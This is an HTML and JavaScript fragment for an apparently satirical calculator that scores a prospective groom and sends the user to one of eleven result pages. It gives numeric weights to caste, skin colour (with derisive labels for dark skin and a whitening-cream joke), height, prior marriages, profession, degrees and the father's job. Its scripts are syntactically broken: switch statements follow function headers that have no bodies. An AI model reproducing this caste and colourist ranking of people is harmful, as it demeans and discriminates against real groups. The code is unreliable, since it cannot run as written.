type="text/javascript"> function Selected_Caste(Caste) { var myindex_1 = Caste.selectedindex; var sel_groom_caste = Caste.options[myindex_1].text; return sel_groom_caste; } </script> <script type="text/javascript"> function Selected_profession(Profession) { var myindex_2 = Profession.selectedindex; var sel_groom_profession = Profession.options[myindex_2].text; return sel_groom_profession; } </script> <script type="text/javascript"> function Selected_Bachelor(Bachelor) { var myindex_3 = Bachelor.selectedindex; var sel_groom_bachelor = Bachelor.options[myindex_3].text; return sel_groom_bachelor; } </script> <script type="text/javascript"> function Selected_Master(Master) { var myindex_4 = Master.selectedindex; var sel_groom_master = Master.options[myindex_4].text; return sel_groom_master; } </script> <script type="text/javascript"> function Selected_Doc(Doc) { var myindex_5 = Doc.selectedindex; var sel_groom_doc = Doc.options[myindex_5].text; return sel_groom_doc; } </script> <script type="text/javascript"> function Selected_country(Country) { var myindex_6 = Country.selectedindex; var sel_groom_country = Country.options[myindex_6].text; return sel_groom_country; } </script> <script type="text/javascript"> function Selected_color(Color) { var myindex_7 = Color.selectedindex; var sel_groom_color = Color.options[myindex_7].text; return sel_groom_color; } </script> <script type="text/javascript"> function Selected_height(Height) { var myindex_8 = Height.selectedindex; var sel_groom_height = Height.options[myindex_8].text; return sel_groom_height; } </script> <script type="text/javascript"> function Selected_married(Marriage) { var myindex_9 = Marriage.selectedindex; var sel_groom_married = Marriage.options[myindex_9].text; return sel_groom_married; } </script> <script type="text/javascript"> function Selected_father(Father) { var myindex_10 = Father.selectedindex; var sel_groom_father = Father.options[myindex_10].text; return sel_groom_father; } </script> <script type="text/javascript"> var age; var sel_groom_age_1 = function Selected_Age(Age) switch(sel_groom_age_1) { case '23': age = 1.6; break; case '24': age = 1.8; break; case '25': age = 1.7; break; case '26': age = 1.8; break; case '27': age = 1.9; break; case '28': age = 1.75; break; case '29': age = 1.7; break; case '30': age = 1.4; break; case '31-35': age = 1.8; break; case '36-40': age = 1.9; break; case '41-45': age = 1.75; break; case '46-50': age = 1.7; break; case '51+': age = 1.4; break; default: alert ('Please select an option'); } </script> <script type="text/javascript"> var caste; var sel_groom_caste_1 = function Selected_Caste(Caste) switch(sel_groom_caste_1) { case 'Brahmin' : caste = 2.0; break; case 'Bania': caste = 1.8; break; case 'Kayastha' : caste = 1.6; break; case 'Kshatriya' : caste = 2.0; break; case 'Dalit': caste = 1.8; break; case 'Maravar' : caste = 1.6; break; case 'Mudaliar' : caste = 2.0; break; case 'Jat': caste = 1.8; break; case 'Labanas' : caste = 1.6; break; case 'Rajput' : caste = 1.6; break; default : alert ('Please select an option'); } </script> <script type="text/javascript"> var profession; var sel_groom_profession_1 = function Selected_Profession(Profession) switch(sel_groom_profession_1) { case 'Engineer': profession = 1.8; break; case 'Doctor': profession = 1.9; break; case 'Lawyer': profession = 1.65; break; case 'CA' : profession = 1.7; break; case 'IAS': profession = 2.0; break; case 'Family Business': profession = 1.5; break; case 'MBA + Engineer': profession = 1.95; default:alert ('Please select an option'); } </script> <script type="text/javascript"> var bachelor; var sel_groom_bachelor_1 = function Selected_Bachelor(Bachelor) switch(sel_groom_bachelor_1) { case 'BTech/BE/BS': bachelor = 1.8; break; case 'MBBS': bachelor = 1.9; break; case 'BA' : bachelor = 1.1; break; case 'B.Com' : bachelor = 1.4; break; case 'BSc': bachelor = 1.9; break; case 'BBA' : bachelor = 1.1; break; case 'Diploma' : bachelor = 1.4; break; case 'Certification Course' : bachelor = 1.4; break; default:alert ('Please select an option'); } </script> <script type="text/javascript"> var master; var sel_groom_master_1 = function Selected_Master(Master) switch(sel_groom_master_1) { case 'MS' : master = 1.9; break; case 'MBA' : master = 2.0; break; case 'MHA' : master = 1.4; break; case 'MTech' : master = 1.4; break; case 'M.Ed' : master = 1.4; break; case 'No Master’s degree' : master = 1.4; break; default:alert ('Please select an option'); } </script> <script type="text/javascript"> var doc; var sel_groom_doc_1 = function Selected_Doctor(Doc) switch(sel_groom_doc_1) { case 'Doctor of Philosophy (Phd) ' : doc = 2.0; break; case 'Doctor of Medicine (MD)' : doc = 2.0; break; case 'No Doctorate degree' : doc = 1.4; break; default:alert ('Please select an option'); } </script> <script type="text/javascript"> var country; var sel_groom_country_1 = function Selected_Country(Country) switch(sel_groom_country_1) { case 'India': country = 1.9; break; case 'USA' : country = 2.0; break; case 'Any European Country ': country = 1.7; break; case 'Australia ': country = 1.7; break; case 'Canada ': country = 1.7; break; case 'Any Country more developed than India ': country = 1.7; break; case 'Any Country less developed than India ': country = 1.2; break; default:alert ('Please select an option'); } </script> <script type="text/javascript"> var color; var sel_groom_color_1 = function Selected_Color(Color) switch(sel_groom_color_1) { case 'Fairy White' : color = 1.9; break; case 'Black': color= 0.6; break; case 'Wheatish (Almost White. Would need some Fair n Lovely) ': color= 1.4; break; case 'Brown': color= 1.4; break; case 'White': color= 1.9; break; case 'Pitch Black (Not visible on a moonless night) ': color= 0.6; break; default:alert ('Please select an option'); } </script> <script type="text/javascript"> var height; var sel_groom_height_1 = function Selected_Height(Height) switch(sel_groom_height_1) { case 'Less than 5'4"' : height = 0.6; break; case '5'4"' : height = 0.6; break; case '5'5"' :height = 0.8; break; case '5'6"' :height = 1.0; break; case '5'7"' :height = 1.4; break; case '5'8"' :height = 1.5; break; case '5'9"' :height = 1.6; break; case '5'10"' :height = 1.7; break; case '5'11"' :height = 1.8; break; case '6' :height = 1.85; break; case '6'1"' :height = 1.9; break; case 'Greater than 6'1"' :height = 1.8; break; default:alert ('Please select an option'); } </script> <script type="text/javascript"> var marriage; var sel_groom_marriage_1 = function Selected_Marriage(Marriage) switch(sel_groom_marriage_1) { case '0': marriage = 1.8; break; case '1' :marriage = 0.7; break; case '2': marriage = 0.4; break; case 'More than 2' : marriage = 0.2; break; default:alert ('Please select an option'); } </script> <script type="text/javascript"> var father; var sel_groom_father_1 = function Selected_Father(Father) switch(sel_groom_father) { case 'Doctor': father= 1.8; break; case 'IAS': father = 2.0; break; case 'Engineer': father= 1.7; break; case 'Lawyer': father= 1.65; break; case 'CA': father= 1.8; break; case 'Engineer + MBA': father= 1.9; break; case 'Family Business': father= 1.2; break; default : alert ('Please select an option'); } </script> <script type="text/javascript"> var total = age + caste + bachelor + master + doc + color + profession + father + marriage + height + country; var pageNumber = Math.floor((20 - total) / 2 + 1); if (pageNumber == 1) { window.location="Page 1.html"; } else if (pageNumber == 2) { window.location="Page 2.html"; } else if (pageNumber == 3) { window.location="Page 3.html"; } else if (pageNumber == 4) { window.location="Page 4.html"; } else if (pageNumber == 5) { window.location="Page 5.html"; } else if (pageNumber == 6) { window.location="Page 6.html"; } else if (pageNumber == 7) { window.location="Page 7.html"; } else if (pageNumber == 8) { window.location="Page 8.html"; } else if (pageNumber == 9) { window.location="Page 9.html"; } else if (pageNumber == 10) { window.location="Page 10.html"; } else { window.location="Page 11.html"; } </script> <form> <input type="submit" value="Calculate"> </form> <br> <a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" data-via="Plebeian42">Tweet</a><script type="text/javascript" src= "http://platform.twitter.com/widgets.js"> </script><br> <div style="float: center; padding: 4px;"> <a name="fb_share" type="button_count" href="http://www.facebook.com/sharer.php" id= "fb_share">Share</a><script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"> </script> </div><br> <br> <iframe src= "http://www.facebook.com/plugins/like.php?href&layout=standard&show_faces=true&width=450&action=like&font&colorscheme=light&height=80" scrolling="no" frameborder="0" style= "border:none; overflow:hidden; width:450px; height:80px;" allowtransparency= "true"></iframe> <center> ©Creator Name </center><a rel="license" href= "http://creativecommons.org/licenses/by-nc-sa/3.0/"><img alt="Creative Commons License" style="border-width:0" src= "http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png"></a><br> This work is licensed under a <a rel="license" href= "http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License</a>. </body> </html> |